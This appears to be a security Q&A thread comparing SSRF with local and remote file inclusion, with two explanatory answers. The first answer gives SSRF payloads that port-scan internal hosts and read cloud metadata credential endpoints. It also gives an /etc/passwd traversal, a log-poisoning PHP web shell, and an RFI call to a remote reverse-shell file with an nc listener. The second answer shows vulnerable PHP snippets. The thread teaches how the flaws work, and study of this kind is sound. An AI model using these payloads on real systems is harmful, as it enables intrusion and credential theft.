Is there any difference between those? Can we say that Server Side Request Forgery (SSRF) is a generalization of Remote File Inclusion (RFI) and Local File Inclusion (LFI)?
Asked
Active
Viewed 9,300 times
2 Answers
6
Server-Side Request Forgery CAN be an RFI or LFI
It can be the same as RFI. The same two vulnerabilities can exist within the same function. The caveat is that a lot of web apps may block access to external domains through a firewall or something, making the RFI portion "impossible" for an external host.
Imagine you have a web app which asks you for a specific URL, and outputs information based on the url.
Let's assume RFI is blocked at the firewall level because it's not able to communicate with outside sources, and only internal hosts are whitelisted. Or maybe we can assume that the preprocessor engine or web application has functionality which prevents remote code execution through the use of escaping, etc.
Well, what if you entered internal IP addresses instead of an external IP?
hxxp://vulnerablesite.com/read_page.php?file=hxxp://10.40.20.100
If the web application returns information based on that page, it may be possible to turn this into RCE in some circumstances, or even run a port scan against internal resources using the SSRF vulnerability.
Let's try a "scan" on an SSH port:
hxxp://vulnerablesite.com/read_page.php?file=hxxp://10.40.20.100:22
which returns the following error:
PHP Warning: fopen(hxxp://10.40.20.100:22):
failed to open stream: hxxp request failed!
SSH-2.0-OpenSSH_7.7p1 Debian-3 in
/home/markfluffybunnybuffalo/test.php on line 2
You just revealed that I have SSH open on that internal network address. Hmm. Maybe you can do some enumeration on other ports and see what's open. You may even find an archive of files somewhere with which you can get some sort of internal RFI going.
You may also be able to read resources that are generally only available on the internal network, including cloud metadata.
SSRF attacks can also work like an RFI attack in many cases. But in general, people will (I hope) disable the inclusion of remote files not on the web server itself.
Cloud Metadata
One of the nastiest ways to abuse SSRF vulnerabilities is through the inclusion of cloud metadata files which could provide you with access credentials that could be used to laterally escalate across a cloud hosting proider.
Examples shown below for various cloud providers or technologies:
Amazon Web Services (AWS)
hxxp://169.254.169.254/latest/meta-data/iam/security-credentials/dummy
hxxp://169.254.169.254/latest/user-data
hxxp://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE]
hxxp://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE]
hxxp://169.254.169.254/latest/meta-data/ami-id
hxxp://169.254.169.254/latest/meta-data/reservation-id
hxxp://169.254.169.254/latest/meta-data/hostname
hxxp://169.254.169.254/latest/meta-data/public-keys/0/openssh-key
hxxp://169.254.169.254/latest/meta-data/public-keys/[ID]/openssh-key
Microsoft Azure
hxxp://169.254.169.254/metadata/instance?api-version=2017-04-02
hxxp://169.254.169.254/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text
Google Cloud Platform (GCP)
hxxp://169.254.169.254/computeMetadata/v1/
hxxp://metadata.google.internal/computeMetadata/v1/
hxxp://metadata/computeMetadata/v1/
hxxp://metadata.google.internal/computeMetadata/v1/instance/hostname
hxxp://metadata.google.internal/computeMetadata/v1/instance/id
hxxp://metadata.google.internal/computeMetadata/v1/project/project-id
hxxp://metadata.google.internal/computeMetadata/v1/instance/attributes/kube-env
hxxp://metadata.google.internal/computeMetadata/v1/instance/disks/?recursive=true
hxxp://metadata.google.internal/computeMetadata/v1beta1/instance/attributes/?recursive=true&alt=json
Oracle Cloud
hxxp://192.0.0.192/latest/
hxxp://192.0.0.192/latest/user-data/
hxxp://192.0.0.192/latest/meta-data/
hxxp://192.0.0.192/latest/attributes/
Kubernetes
hxxps://kubernetes.default.svc.cluster.local
hxxps://kubernetes.default
hxxps://kubernetes.default.svc/metrics
Local File Inclusion
A function vulnerable to LFI may also be vulnerable to RFI. It depends. In this scenario, you are including a local file, such as
hxxp://vulnerablesite.com/read_page.php?file=../../../../etc/passwd
This lets you see what users are on the system, so maybe you can try to connect via SSH as one of those users, or find more information about them. There's a lot of different things you can do with it.
Maybe you can also include a script that you've written to the server, or perhaps you've poisoned the access.log with code that would be executed by a preprocessor engine (such as placing <? echo shell_exec($_GET["c"]); ?> within a legitimate request that gets logged), to get remote code execution as a different user depending on the context.
Remote File Inclusion
See above, only it allows remote files. It may be possible that the function is vulnerable to both LFI and RFI.
With RFI, the likelihood of executing code is very high. You can host a web server which returns PHP code without processing it through the preprocessor engine, which then gets executed on the victim's server.
hxxp://vulnerablesite.com/read_page.php?file=hxxp://hax.com/reverse-shell.php
If you put PHP code in that file, you may be able to execute code with this vulnerability. One example is using reverse shell code. You'd throw up a listener:
nc -nlvp 4444
And then visit the page with the RFI vulnerability, which should trigger your reverse shell:
connect to [10.40.20.100] from (UNKNOWN) [216.58.218.100] 48984
python -c 'import pty;pty.spawn("/bin/sh");'
$ whoami
markfluffybunnybuffalo
Conclusion
So it looks like RFI/LFI and SSRF are pretty much the same class of vulnerabilites, just used in different ways.
Mark Buffalo
- 22,498
- 8
- 74
- 91
3
SSRF and RFI/LFI are both injection attacks, but they are different and can have different implications depending on how they are implemented.
For SSRF, consider the example below:
if (isset($_GET['uri'])){
$uri = $_GET['uri'];
$location = fopen($uri, 'rb');
In the above code the user has control over the "uri" parameter and can make arbitrary requests to an external server from the target server. Now, this can also be abused to make requests to resources the target server has access to. Something like http://localhost/aws-stats or access other internal resources. You can further enumerate ports/services of the local network, or use "file://" and "dict://" schemes to access files on the server.
RFI/LFI, look at the code in DVWA: https://github.com/ethicalhack3r/DVWA/blob/master/vulnerabilities/fi/index.php
if( isset( $file ) )
include( $file );
This is very similar to SSRF, but can also be abused to include your own PHP code and execute it on the server. There are several ways one can exploit LFI/RFI to get RCE. You might want to take a look at this paper:
gremlin0x00
- 41
- 3